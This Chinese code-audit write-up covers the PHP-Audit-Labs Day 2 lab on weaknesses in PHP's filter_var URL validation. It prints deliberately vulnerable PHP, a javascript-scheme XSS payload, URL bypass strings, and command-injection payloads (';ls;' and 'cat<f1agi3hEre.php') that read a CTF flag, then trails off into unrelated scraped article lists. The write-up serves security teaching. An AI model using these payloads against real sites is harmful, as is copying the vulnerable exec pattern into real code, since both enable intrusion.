分析

先看源码

// composer require "twig/twig"
require 'vendor/autoload.php'; class Template {
private $twig; public function __construct() {
$indexTemplate = '<img ' .
'src="https://loremflickr.com/320/240">' .
'<a href="{{link|escape}}">Next slide &raquo;</a>'; // Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
} public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
} public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
} (new Template())->render();

漏洞点在10行的escape和第22行的filter_var函数。他先是用Twig自带的escape过滤器对link进行过滤,但是escape过滤器的实现是使用了php的内置函数htmlspecialchars,看一下这个函数的用法:

(PHP 4, PHP 5, PHP 7)
htmlspecialchars — 将特殊字符转换为 HTML 实体

转换的特殊字符如下:

字符	替换后
& (& 符号) &amp;
" (双引号) &quot;,除非设置了 ENT_NOQUOTES
' (单引号) 设置了 ENT_QUOTES 后, ' (如果是 ENT_HTML401) ,或者 &apos; (如果是 ENT_XML1、 ENT_XHTML 或 ENT_HTML5)。
< (小于) &lt;
> (大于) &gt;

示例

<?php
$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $new;

结果是 <a href='test'>Test</a>

接着是$nextSlide变量,使用GET方式接收,用户可控,但是使用了filter_var处理,看一下filter_var函数。

(PHP 5 >= 5.2.0, PHP 7)
filter_var — 使用特定的过滤器过滤一个变量
filter_var(待过滤的参数,使用的过滤器)

这里使用的是FILTER_VALIDATE_URL过滤器,FILTER_VALIDATE_URL 过滤器把值作为 URL 来验证。

payload是用到了javascript伪协议。浓缩一下上面的源码:

<?php
$url = filter_var($_GET['url'],FILTER_VALIDATE_URL);
var_dump($url);
echo '<br>';
$url = htmlspecialchars($url);
var_dump($url);
echo '<br>';
echo "<a href='$url'>Next slide</a>";

payload

payload:
?url=javascript://comment%250aalert(123);

结果



我们看一下这个payload,在javascript中//代表单行注释,但是因为在alert(123)之前加了%0a,%0a是换行符,所以alert(123)与//不在一行。这里之所以将%0a改成%250a,是因为浏览器会进行一次编码,所以我们提前将%编码成%25,那么浏览器将

?url=javascript://comment%250aalert(123);

解码成

?url=javascript://comment%0aalert(123);

然后执行程序存储在$url变量里。

修复建议

对XSS漏洞最好就是过滤关键字,将特殊字符进行HTML实体编码替换

Day02-CTF题解

题目源码:

// index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
} }
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
} ?>
// f1agi3hEre.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

大致看一下源码,第7行exec执行curl命令,很容易能想到命令执行,$site_info['host']是对我们输入的url参数分解拿到的主机名,在第6行的正则匹配的时候,$site_info['host']必须是sec-redclub.com。源码的逻辑就是用户输入url参数,然后filter_var函数使用FILTER_VALIDATE_URL过滤器对url进行过滤,接着parse_url提取出主机名,如果主机名是sec-redclub.com则exec执行curl命令。

先得绕过filter_var的FILTER_VALIDATE_URL过滤去,绕过方法:

http://localhost/index.php?url=http://demo.com@sec-redclub.com
http://localhost/index.php?url=http://demo.com&sec-redclub.com
http://localhost/index.php?url=http://demo.com?sec-redclub.com
http://localhost/index.php?url=http://demo.com/sec-redclub.com
http://localhost/index.php?url=demo://demo.com,sec-redclub.com
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://localhost/index.php?url=http://demo.com#sec-redclub.com
PS:最后一个payload的#符号,请换成对应的url编码 %23

payload

http://localhost/index.php?url=demo://%22;ls;%23;sec-redclub.com:80/

payload解码后是

http://localhost/index.php?url=demo://";ls;#;sec-redclub.com:80/

直接用 cat f1agi3hEre.php 命令的时候,过不了 filter_var 函数检测,因为包含空格,具体payload如下:

http://localhost/index.php?url=demo://%22;cat<f1agi3hEre.php;%23;sec-redclub.com:80/

参考链接

https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day2/files/README.md

https://github.com/hongriSec/PHP-Audit-Labs/blob/master/PHP-Audit-Labs题解/Day1-4/files/README.md

PHP-Audit-Labs-Day2 - filter_var函数缺陷的更多相关文章

  1. [代码审计Day2] filter_var函数缺陷代码审计

    简介 // composer require "twig/twig" require 'vendor/autoload.php'; class Template { private ...

  2. PHP代码审计02之filter_var()函数缺陷

    前言 根据红日安全写的文章,学习PHP代码审计审计的第二节内容,题目均来自PHP SECURITY CALENDAR 2017,讲完这个题目,会有一道CTF题目来进行巩固,外加一个实例来深入分析,想了 ...

  3. filter_var()函数

    我们使用 payload :?url=javascript://comment%250aalert(1) ,可以执行 alert 函数: 实际上,这里的 // 在JavaScript中表示单行注释,所 ...

  4. PHP代码审计01之in_array()函数缺陷

    前言 从今天起,结合红日安全写的文章,开始学习代码审计,题目均来自PHP SECURITY CALENDAR 2017,讲完这个题目,会再用一道有相同问题的CTF题来进行巩固.下面开始分析. 漏洞分析 ...

  5. PHP filter_var 函数用法

    先介绍下PHP Filter PHP手册地址:http://php.net/manual/zh/ref.filter.php PHP 过滤器用于对来自非安全来源的数据(比如用户输入)进行验证和过滤. ...

  6. 学习笔记:filter_var()函数

    PHP 过滤器用于对来自非安全来源的数据(比如用户输入)进行验证和过滤 filter_var() 函数通过指定的过滤器过滤变量. 如果成功,则返回已过滤的数据,如果失败,则返回 false. 语法 f ...

  7. 漏洞:阿里云盾phpMyAdmin <=4.8.1 后台checkPageValidity函数缺陷可导致GETSHELL

    阿里云盾提示phpMyAdmin <=4.8.1会出现漏洞有被SHELL风险,具体漏洞提醒: 标题 phpMyAdmin <=4.8.1 后台checkPageValidity函数缺陷可导 ...

  8. PHP filter_var() 函数

    定义和用法 filter_var() 函数通过指定的过滤器过滤一个变量. 如果成功,则返回被过滤的数据.如果失败,则返回 FALSE. 语法 filter_var(variable, filter, ...

  9. 代码审计学习01-in_array() 函数缺陷

    一.开始代码审计之旅 01 从今天起,学习代码审计了,这篇文章就叫代码审计01吧,题目来自 PHP SECURITY CALENDAR 2017 的第一题,结合 红日安全 写的文章,开始吧. 二.先看 ...

随机推荐

  1. 『心善渊』Selenium3.0基础 — 12、Selenium操作鼠标和键盘事件

    目录 (一)对鼠标的操作 1.鼠标事件介绍 2.ActionChains 类鼠标操作的常用方法 3.perform()方法 4.鼠标事件操作步骤 5.示例 (1)右键单击.左键双击 (2)鼠标拖拽动作 ...

  2. [源码解析] 深度学习分布式训练框架 horovod (10) --- run on spark

    [源码解析] 深度学习分布式训练框架 horovod (10) --- run on spark 目录 [源码解析] 深度学习分布式训练框架 horovod (10) --- run on spark ...

  3. python之list列表(基础篇)

    特点:1.有序的 2.可以存放多个元素 3.每个元素可以是任何数据类型,4,通过下标值访问1,定义一个空列表  2,定义一个非空列表 3.访问列表中的元素(同str类型) 4,切片与步长(同str类型 ...

  4. Java Collecion的常用方法

    import java.util.*; /** * 数组存储数据的特点: * ①一旦初始化,大小确定 * ②一旦定义,存储的类型确定且相同. * 数组存储的弊端: * ①大小无法改变. * ②方法较少 ...

  5. 第一章 - Java与线程

    目录 01.Java和线程 02.Java与协程 03.CPU缓存结构和java内存模型 04.管程-悲观锁和锁优化 05.乐观锁 - 无锁方案 06.线程安全 07.线程池 08.JUC 09.高并 ...

  6. js 简单实现获取短信按钮倒计时60秒

    <!DOCTYPE html><html lang="en"><head> <meta http-equiv="Content- ...

  7. 『心善渊』Selenium3.0基础 — 23、Selenium元素等待

    目录 1.什么是元素等待 2.为什么要设置元素等待 3.Selenium中常用的等待方式 4.强制等待 5.隐式等待 (1)隐式等待介绍 (2)示例 6.显式等待 (1)显式等待介绍 (2)语法 (3 ...

  8. Linux | 通配符 & 转义符

    通配符 我们在查看文件的时候,可能会出现只记得开头几个字母的情况,并且相似名称的文件还非常多的情况.还有小编想要删除一些开头一样的文件,这种情况下都可以使用通配符号: # 查找vcs文件 ls /de ...

  9. CentOS 8 已经不再支持,Rocky Linux 才是未来

    2020年12月8日,红帽公司宣布,他们将停止开发CentOS,而在此之前CentOS一直作为红帽企业Linux的生产型分支及下游版本,此后他们将转而开发该操作系统的一个更新的上游开发变种,即 &qu ...

  10. 求数组的子数组之和的最大值IV

    在之前的基础上又安排了二维数组的,在课上一开始是理解错要求了,简单的以为用循环数组就能解决,但是却忽视了子数组是否能构成矩形,之后课下和同学们讨论,主要是多重遍历,但是我还是没搞明白怎么构成新的二维数 ...